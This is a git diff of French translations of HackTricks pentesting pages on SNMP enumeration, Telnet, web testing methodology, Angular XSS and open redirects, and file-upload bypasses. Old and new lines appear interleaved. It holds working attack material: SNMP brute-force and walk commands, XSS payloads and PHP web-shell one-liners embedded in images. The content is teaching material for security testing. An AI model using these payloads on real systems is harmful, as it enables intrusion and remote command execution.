Ces six premières valeurs tendent à être les mêmes pour tous les appareils et elles vous donnent les informations de base à leur sujet. Cette séquence de nombres sera la même pour tous les OID, sauf lorsque l'appareil est fabriqué par le gouvernement.
Passons à l'ensemble suivant de nombres.
- 1452 donne le nom de l'organisation qui a fabriqué ce dispositif.
- 1 explique le type de dispositif. Dans ce cas, c'est un réveil.
- 2 détermine que ce dispositif est une unité terminale à distance.
- 1452 donne le nom de l'organisation qui a fabriqué cet appareil.
- 1 explique le type d'appareil. Dans ce cas, c'est un réveil.
- 2 détermine que cet appareil est une unité terminale à distance.
Le reste des valeurs donne des informations spécifiques sur le dispositif.
Le reste des valeurs donne des informations spécifiques sur l'appareil.
- 5 indique un point d'alarme discret.
- 1 point spécifique dans le dispositif
- 5 désigne un point d'alarme discret.
- 1 point spécifique dans l'appareil
- 3 port
- 21 adresse du port
- 1 affichage pour le port
@ -68,21 +67,21 @@ Le reste des valeurs donne des informations spécifiques sur le dispositif.
Il existe 2 versions importantes de SNMP :
- **SNMPv1** : La principale, c'est encore la plus fréquente, l'**authentification est basée sur une chaîne** (chaîne communautaire) qui circule en **texte clair** (toutes les informations circulent en texte clair). **La version 2 et 2c** envoient également le **trafic en texte clair** et utilisent une **chaîne communautaire comme authentification**.
- **SNMPv3** : Utilise une meilleure forme d'**authentification** et les informations circulent **chiffrées** (une **attaque par dictionnaire** pourrait être effectuée mais il serait beaucoup plus difficile de trouver les bonnes informations d'identification qu'avec SNMPv1 et v2).
- **SNMPv1** : La principale, c'est encore la plus fréquente, l'**authentification est basée sur une chaîne** (chaîne de communauté) qui circule en **texte clair** (toutes les informations circulent en texte clair). **La version 2 et 2c** envoient également le **trafic en texte clair** et utilisent une **chaîne de communauté comme authentification**.
- **SNMPv3** : Utilise une meilleure forme d'**authentification** et les informations circulent **chiffrées** (une **attaque par dictionnaire** pourrait être effectuée mais il serait beaucoup plus difficile de trouver les bonnes informations d'identification que dans SNMPv1 et v2).
### Chaînes communautaires
### Chaînes de communauté
Comme mentionné précédemment, **pour accéder aux informations enregistrées sur le MIB, vous devez connaître la chaîne communautaire des versions 1 et 2/2c et les informations d'identification de la version 3.**\
Il existe **2 types de chaînes communautaires** :
Comme mentionné précédemment, **pour accéder aux informations enregistrées sur la MIB, vous devez connaître la chaîne de communauté dans les versions 1 et 2/2c et les identifiants dans la version 3.**\
Il existe **2 types de chaînes de communauté** :
- **`public`** principalement des fonctions **en lecture seule**
- **`private`** **Lecture/Écriture** en général
Notez que **la possibilité d'écriture d'un OID dépend de la chaîne communautaire utilisée**, donc **même** si vous trouvez que "**public**" est utilisé, vous pourriez être en mesure de **modifier certaines valeurs.** De plus, il **peut** exister des objets qui sont **toujours "Lecture seule".**\
Notez que **la possibilité d'écriture d'un OID dépend de la chaîne de communauté utilisée**, donc **même** si vous trouvez que "**public**" est utilisé, vous pourriez être en mesure de **modifier certaines valeurs.** De plus, il **peut** exister des objets qui sont **toujours "Lecture seule".**\
Si vous essayez de **modifier** un objet, une erreur **`noSuchName` ou `readOnly`** est reçue\*\*.\*\*
Dans les versions 1 et 2/2c, si vous utilisez une chaîne communautaire **incorrecte**, le serveur ne **répondra pas**. Donc, s'il répond, une **chaîne communautaire valide a été utilisée**.
Dans les versions 1 et 2/2c, si vous utilisez une chaîne de communauté **incorrecte**, le serveur ne **répondra pas**. Donc, s'il répond, une **chaîne de communauté valide a été utilisée**.
## Ports
@ -94,11 +93,11 @@ Dans les versions 1 et 2/2c, si vous utilisez une chaîne communautaire **incorr
## Brute-Force Community String (v1 et v2c)
Pour **deviner la chaîne communautaire**, vous pourriez effectuer une attaque par dictionnaire. Consultez [ici différentes façons d'effectuer une attaque par force brute contre SNMP](../../generic-hacking/brute-force.md#snmp). Une chaîne communautaire fréquemment utilisée est `public`.
Pour **deviner la chaîne de communauté**, vous pourriez effectuer une attaque par dictionnaire. Consultez [ici différentes façons d'effectuer une attaque par force brute contre SNMP](../../generic-hacking/brute-force.md#snmp). Une chaîne de communauté fréquemment utilisée est `public`.
## Énumération SNMP
Il est recommandé d'installer ce qui suit pour voir ce que signifie **chaque OID recueilli** à partir du dispositif :
Il est recommandé d'installer ce qui suit pour voir ce que signifie **chaque OID recueilli** à partir de l'appareil :
```bash
apt-get install snmp-mibs-downloader
download-mibs
@ -125,7 +124,7 @@ Grâce aux requêtes étendues (download-mibs), il est possible d'énumérer enc
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** contient beaucoup d'informations sur l'hôte et les éléments qui peuvent vous intéresser sont : **Interfaces réseau** (adresse **IPv4** et **IPv6**), Noms d'utilisateur, Temps de fonctionnement, Version du serveur/OS, et **processus**
**SNMP** a beaucoup d'informations sur l'hôte et les éléments qui peuvent vous intéresser sont : **Interfaces réseau** (adresse **IPv4** et **IPv6**), Noms d'utilisateur, Temps de fonctionnement, Version du serveur/OS, et **processus**
**en cours d'exécution** (peut contenir des mots de passe)....
@ -206,7 +205,7 @@ grep -i "login\|fail" *.snmp
```
### **Emails**
Enfin, pour extraire **les adresses e-mail** des données, une **commande grep** avec une expression régulière est utilisée, en se concentrant sur les motifs qui correspondent aux formats d'e-mail :
Enfin, pour extraire des **adresses email** des données, une **commande grep** avec une expression régulière est utilisée, en se concentrant sur des motifs qui correspondent aux formats d'email :
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
@ -216,7 +215,7 @@ Vous pouvez utiliser _**NetScanTools**_ pour **modifier des valeurs**. Vous devr
## Usurpation
S'il existe une ACL qui n'autorise que certaines adresses IP à interroger le service SMNP, vous pouvez usurper l'une de ces adresses à l'intérieur du paquet UDP et analyser le trafic.
S'il existe une ACL qui n'autorise que certaines adresses IP à interroger le service SMNP, vous pouvez usurper l'une de ces adresses dans le paquet UDP et renifler le trafic.
## Examiner les fichiers de configuration SNMP
@ -236,7 +235,7 @@ Description: Notes for SNMP
Note: |
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
https://book.hacktricks.xyz/pentesting/pentesting-snmp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: SNMP Check

View File

@ -25,11 +25,11 @@ Le script `telnet-ntlm-info.nse` obtiendra des informations NTLM (versions Windo
Dans le [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) : Dans le protocole TELNET, il existe diverses "**options**" qui seront sanctionnées et peuvent être utilisées avec la structure "**DO, DON'T, WILL, WON'T**" pour permettre à un utilisateur et à un serveur de convenir d'utiliser un ensemble de conventions plus élaboré (ou peut-être juste différent) pour leur connexion TELNET. Ces options pourraient inclure le changement de l'ensemble de caractères, le mode d'écho, etc.
**Je sais qu'il est possible d'énumérer ces options mais je ne sais pas comment, alors faites-moi savoir si vous savez comment.**
**Je sais qu'il est possible d'énumérer ces options, mais je ne sais pas comment, alors faites-moi savoir si vous savez comment.**
### [Brute force](../generic-hacking/brute-force.md#telnet)
## Fichier de configuration
## Config file
```bash
/etc/inetd.conf
/etc/xinetd.d/telnet
@ -48,7 +48,7 @@ Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.xyz/pentesting/pentesting-telnet
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab

View File

@ -25,7 +25,7 @@ web-api-pentesting.md
## Méthodologie résumé
> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et seulement cela. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et seulement cela. Donc, vous devriez appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
- [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **astuces** à garder à l'esprit pendant le reste du test si vous pouvez identifier avec succès la technologie.
- [ ] Y a-t-il une **vulnérabilité connue** de la version de la technologie ?
@ -38,7 +38,7 @@ web-api-pentesting.md
- [ ] **Brute-Forcing de répertoire** : Essayez de brute-forcer tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**.
- [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être brute-forcé._
- [ ] **Vérification des sauvegardes** : Testez si vous pouvez trouver des **sauvegardes** de **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
- [ ] **Paramètres de Brute-Force** : Essayez de **trouver des paramètres cachés**.
- [ ] **Brute-Force des paramètres** : Essayez de **trouver des paramètres cachés**.
- [ ] Une fois que vous avez **identifié** tous les **endpoints** possibles acceptant **l'entrée utilisateur**, vérifiez tous les types de **vulnérabilités** y afférant.
- [ ] [Suivez cette liste de contrôle](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -54,7 +54,7 @@ whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
Recherchez **des** [**vulnérabilités de l'application web** **version**](../../generic-hacking/search-exploits.md)
### **Vérifiez si un WAF est présent**
@ -76,8 +76,8 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t
- [**Git**](git.md)
- [**Golang**](golang.md)
- [**GraphQL**](graphql.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**IIS tricks**](iis-internet-information-services.md)
- [**H2 - Base de données SQL Java**](h2-java-sql-database.md)
- [**Astuces IIS**](iis-internet-information-services.md)
- [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
- [**Jira**](jira.md)
@ -99,18 +99,18 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t
- [**Electron Desktop (XSS à RCE)**](electron-desktop-apps/index.html)
_Tenez compte du fait que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **dossiers** et **sous-domaines**._\
Si l'application web utilise une **techno/plateforme bien connue listée ci-dessus** ou **autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et faites-le moi savoir !).
Si l'application web utilise une **tech/plateforme bien connue listée ci-dessus** ou **toute autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et faites-le moi savoir !).
### Revue de code source
Si le **code source** de l'application est disponible sur **github**, en plus de réaliser par **vous-même un test en boîte blanche** de l'application, il y a **certaines informations** qui pourraient être **utiles** pour le **test en boîte noire** actuel :
- Y a-t-il un fichier **Change-log ou Readme ou Version** ou quoi que ce soit avec des **informations de version accessibles** via le web ?
- Comment et où sont sauvegardées les **identifiants** ? Y a-t-il un **fichier** (accessible ?) avec des identifiants (noms d'utilisateur ou mots de passe) ?
- Y a-t-il un **Change-log ou Readme ou Version** fichier ou quoi que ce soit avec des **informations de version accessibles** via le web ?
- Comment et où sont enregistrés les **identifiants** ? Y a-t-il un **fichier** (accessible ?) avec des identifiants (noms d'utilisateur ou mots de passe) ?
- Les **mots de passe** sont-ils en **texte clair**, **chiffrés** ou quel **algorithme de hachage** est utilisé ?
- Utilise-t-il une **clé maîtresse** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ?
- Pouvez-vous **accéder à l'un de ces fichiers** en exploitant une vulnérabilité ?
- Y a-t-il des **informations intéressantes sur github** (problèmes résolus et non résolus) ? Ou dans l'**historique des commits** (peut-être un **mot de passe introduit dans un ancien commit**) ?
- Y a-t-il des **informations intéressantes dans les github** (problèmes résolus et non résolus) **problèmes** ? Ou dans l'**historique des commits** (peut-être un **mot de passe introduit dans un ancien commit**) ?
{{#ref}}
code-review-tools.md
@ -132,7 +132,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### Scanners CMS
Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, peut-être que quelque chose d'intéressant sera trouvé :
Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, peut-être que quelque chose de juteux sera trouvé :
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites pour des problèmes de sécurité. (GUI)\
@ -231,12 +231,12 @@ Lancez une sorte de **spider** à l'intérieur du web. L'objectif du spider est
### Brute Force des répertoires et fichiers
Commencez le **brute-forcing** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** et en ajoutant au début de la liste de mots utilisée les noms des répertoires trouvés).\
Commencez à **brute-forcer** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** et en ajoutant au début de la liste de mots utilisée les noms des répertoires trouvés).\
Outils :
- **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et **lent**) mais fonctionnel. Permet les certificats auto-signés et la recherche récursive. Trop lent par rapport aux autres options.
- **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et **lent**) mais fonctionnel. Permet des certificats auto-signés et une recherche récursive. Trop lent par rapport aux autres options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Il ne permet pas les certificats auto-signés mais** permet la recherche récursive.
- [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il permet les certificats auto-signés, il **n'a pas** de recherche **récursive**.
- [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il permet des certificats auto-signés, il **n'a pas** de recherche **récursive**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, prend en charge la recherche récursive.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Rapide : `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
@ -276,14 +276,14 @@ _Remarque : chaque fois qu'un nouveau répertoire est découvert lors du brute-f
- _Assetnote “parameters_top_1m” :_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt” :_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Commentaires :** Vérifiez les commentaires de tous les fichiers, vous pouvez trouver **des identifiants** ou **des fonctionnalités cachées**.
- Si vous jouez à un **CTF**, une astuce "courante" est de **cacher** **des informations** à l'intérieur des commentaires à la **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et **de cacher des informations** dans un commentaire au **bas** de la page web.
- Si vous jouez à un **CTF**, un "truc" "commun" est de **cacher** **des informations** à l'intérieur des commentaires à la **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et **de cacher des informations** dans un commentaire au **bas** de la page web.
- **Clés API** : Si vous **trouvez une clé API**, il existe un guide qui indique comment utiliser les clés API de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
- Clés API Google : Si vous trouvez une clé API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles APIs la clé peut accéder.
- Clés API Google : Si vous trouvez une clé API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles API la clé peut accéder.
- **S3 Buckets** : Lors du spidering, vérifiez si un **sous-domaine** ou un **lien** est lié à un **bucket S3**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/index.html).
### Découvertes spéciales
**Lors** de l'exécution du **spidering** et du **brute-forcing**, vous pourriez trouver des **choses intéressantes** dont vous devez **prendre note**.
**Lors de** l'exécution du **spidering** et du **brute-forcing**, vous pourriez trouver des **choses intéressantes** que vous devez **noter**.
**Fichiers intéressants**
@ -338,7 +338,7 @@ Trouvez plus d'infos sur les vulnérabilités web dans :
Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour surveiller les pages pour des modifications qui pourraient insérer des vulnérabilités.
### Commandes Automatiques HackTricks
### Commandes automatiques HackTricks
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.
@ -348,7 +348,7 @@ Entry_1:
Name: Notes
Description: Notes for Web
Note: |
https://book.hacktricks.xyz/pentesting/pentesting-web
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
Entry_2:
Name: Quick Web Scan

View File

@ -45,7 +45,7 @@ Les NgModules Angular déclarent un contexte de compilation pour un ensemble de
Le NgModule `Router` d'Angular fournit un service qui vous permet de définir un chemin de navigation parmi les différents états d'application et hiérarchies de vues dans votre application. Le `RouterModule` est défini dans le fichier `app-routing.module.ts`.
Pour les données ou la logique qui ne sont pas associées à une vue spécifique, et que vous souhaitez partager entre les composants, vous créez une classe de service. La définition d'une classe de service est immédiatement précédée du décorateur `@Injectable()`. Le décorateur fournit les métadonnées qui permettent à d'autres fournisseurs d'être injectés en tant que dépendances dans votre classe. L'injection de dépendance (DI) vous permet de garder vos classes de composants légères et efficaces. Elles ne récupèrent pas de données du serveur, ne valident pas les entrées utilisateur, ni ne se connectent directement à la console ; elles délèguent de telles tâches aux services.
Pour les données ou la logique qui ne sont pas associées à une vue spécifique, et que vous souhaitez partager entre les composants, vous créez une classe de service. Une définition de classe de service est immédiatement précédée du décorateur `@Injectable()`. Le décorateur fournit les métadonnées qui permettent à d'autres fournisseurs d'être injectés en tant que dépendances dans votre classe. L'injection de dépendance (DI) vous permet de garder vos classes de composants légères et efficaces. Elles ne récupèrent pas de données du serveur, ne valident pas les entrées utilisateur, ni ne se connectent directement à la console ; elles délèguent de telles tâches aux services.
## Configuration de sourcemap
@ -113,10 +113,10 @@ Résultat : `<div><h1>test</h1></div>`
Il existe 6 types de `SecurityContext` :
* `None`;
* `HTML` est utilisé, lors de l'interprétation de la valeur comme HTML;
* `STYLE` est utilisé, lors de la liaison CSS dans la propriété `style`;
* `URL` est utilisé pour les propriétés d'URL, telles que `<a href>`;
* `SCRIPT` est utilisé pour le code JavaScript;
* `HTML` est utilisé, lors de l'interprétation de la valeur comme HTML ;
* `STYLE` est utilisé, lors de la liaison CSS dans la propriété `style` ;
* `URL` est utilisé pour les propriétés d'URL, telles que `<a href>` ;
* `SCRIPT` est utilisé pour le code JavaScript ;
* `RESOURCE_URL` comme une URL qui est chargée et exécutée comme code, par exemple, dans `<script src>`.
## Vulnérabilités
@ -149,7 +149,7 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
//résultat
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml` est utilisé pour indiquer que la valeur donnée est du HTML sûr. Notez que l'insertion d'éléments `script` dans l'arbre DOM de cette manière ne les fera pas exécuter le code JavaScript inclus, en raison de la façon dont ces éléments sont ajoutés à l'arbre DOM.
3. `bypassSecurityTrustHtml` est utilisé pour indiquer que la valeur donnée est un HTML sûr. Notez que l'insertion d'éléments `script` dans l'arbre DOM de cette manière ne les fera pas exécuter le code JavaScript contenu, en raison de la façon dont ces éléments sont ajoutés à l'arbre DOM.
```jsx
//app.component.ts
@ -162,7 +162,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript` est utilisé pour indiquer que la valeur donnée est du JavaScript sûr. Cependant, nous avons trouvé son comportement imprévisible, car nous n'avons pas pu exécuter de code JS dans les modèles en utilisant cette méthode.
4. `bypassSecurityTrustScript` est utilisé pour indiquer que la valeur donnée est un JavaScript sûr. Cependant, nous avons trouvé que son comportement était imprévisible, car nous n'avons pas pu exécuter de code JS dans les modèles en utilisant cette méthode.
```jsx
//app.component.ts
@ -174,7 +174,7 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec
//résultat
-
```
5. `bypassSecurityTrustStyle` est utilisé pour indiquer que la valeur donnée est du CSS sûr. L'exemple suivant illustre l'injection de CSS :
5. `bypassSecurityTrustStyle` est utilisé pour indiquer que la valeur donnée est un CSS sûr. L'exemple suivant illustre l'injection CSS :
```jsx
//app.component.ts
@ -210,7 +210,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHTML]="test"></div>
```
Le résultat est `<div><h1>test</h1></div>`.
<div><h1>test</h1></div>
### Injection de modèle
@ -239,7 +239,7 @@ Bien sûr, il existe également une possibilité d'introduire de nouvelles vuln
#### Interfaces DOM
Comme mentionné précédemment, nous pouvons accéder directement au DOM en utilisant l'interface _Document_. Si l'entrée de l'utilisateur n'est pas validée au préalable, cela peut entraîner des vulnérabilités de cross-site scripting (XSS).
Comme mentionné précédemment, nous pouvons accéder directement au DOM en utilisant l'interface _Document_. Si l'entrée de l'utilisateur n'est pas validée au préalable, cela peut entraîner des vulnérabilités de script intersite (XSS).
Nous avons utilisé les méthodes `document.write()` et `document.createElement()` dans les exemples ci-dessous :
```jsx
@ -410,7 +410,7 @@ $("p").html("<script>alert(1)</script>");
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Comme mentionné précédemment, la plupart des API jQuery qui acceptent des chaînes HTML exécuteront des scripts inclus dans le HTML. La méthode `jQuery.parseHTML()` n'exécute pas de scripts dans le HTML analysé à moins que `keepScripts` ne soit explicitement `true`. Cependant, il est encore possible dans la plupart des environnements d'exécuter des scripts indirectement ; par exemple, via l'attribut `<img onerror>`.
Comme mentionné précédemment, la plupart des API jQuery qui acceptent des chaînes HTML exécuteront des scripts inclus dans le HTML. La méthode `jQuery.parseHTML()` n'exécute pas de scripts dans le HTML analysé à moins que `keepScripts` ne soit explicitement `true`. Cependant, il est toujours possible dans la plupart des environnements d'exécuter des scripts indirectement ; par exemple, via l'attribut `<img onerror>`.
```tsx
//app.component.ts
@ -446,7 +446,7 @@ $palias.append(html);
#### Interfaces DOM
Selon la documentation W3C, les objets `window.location` et `document.location` sont traités comme des alias dans les navigateurs modernes. C'est pourquoi ils ont une implémentation similaire de certaines méthodes et propriétés, ce qui pourrait causer un redirection ouverte et un XSS DOM avec des attaques au schéma `javascript://` comme mentionné ci-dessous.
Selon la documentation W3C, les objets `window.location` et `document.location` sont traités comme des alias dans les navigateurs modernes. C'est pourquoi ils ont une mise en œuvre similaire de certaines méthodes et propriétés, ce qui pourrait causer un redirection ouverte et un XSS DOM avec des attaques au schéma `javascript://` comme mentionné ci-dessous.
* `window.location.href`(et `document.location.href`)
@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
#### Classes Angular
* Selon la documentation Angular, `Document` Angular est le même que le document DOM, ce qui signifie qu'il est possible d'utiliser des vecteurs communs pour le document DOM afin d'exploiter des vulnérabilités côté client dans Angular. Les propriétés et méthodes `Document.location` pourraient être des points d'entrée pour des attaques de redirection ouverte comme montré dans l'exemple :
* Selon la documentation Angular, `Document` Angular est le même que le document DOM, ce qui signifie qu'il est possible d'utiliser des vecteurs communs pour le document DOM afin d'exploiter des vulnérabilités côté client dans Angular. Les propriétés et méthodes `Document.location` pourraient être des points d'entrée pour des attaques de redirection ouverte réussies comme montré dans l'exemple :
```tsx
//app.component.ts
@ -558,7 +558,7 @@ console.log(this.location.go("http://google.com/about"));
```
Résultat : `http://localhost:4200/http://google.com/about`
* La classe `Router` d'Angular est principalement utilisée pour naviguer au sein du même domaine et n'introduit aucune vulnérabilité supplémentaire à l'application :
* La classe `Router` d'Angular est principalement utilisée pour naviguer au sein du même domaine et n'introduit aucune vulnérabilité supplémentaire dans l'application :
```jsx
//app-routing.module.ts
@ -592,7 +592,7 @@ this.router.navigateByUrl('URL')
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)

View File

@ -5,7 +5,7 @@
Vérifiez cette page si vous souhaitez en savoir plus sur l'énumération et l'abus des Buckets :
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -9,7 +9,7 @@ Firebase est un Backend-as-a-Service principalement pour les applications mobile
En savoir plus sur Firebase dans :
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -59,15 +59,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Contourner les vérifications de Content-Type, Magic Number, Compression & Redimensionnement
### Contourner Content-Type, Magic Number, Compression & Resizing
- Contourner les vérifications de **Content-Type** en définissant la **valeur** de l'**en-tête Content-Type** à : _image/png_, _text/plain_, application/octet-stream_
1. Liste de mots pour Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Contourner la vérification de **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (confondre la commande _file_). Ou introduire le shell dans les **métadonnées** :\
- Contourner la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (confondre la commande _file_). Ou introduire le shell dans les **métadonnées** :\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ou vous pourriez également **introduire le payload directement** dans une image :\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Si **une compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser le **PLTE chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- Si **la compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser le **PLTE chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La page web pourrait également **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pourriez utiliser le **IDAT chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
@ -89,7 +89,7 @@ AAA<--SNIP 232 A-->AAA.php.png
### Astuces spéciales d'extension
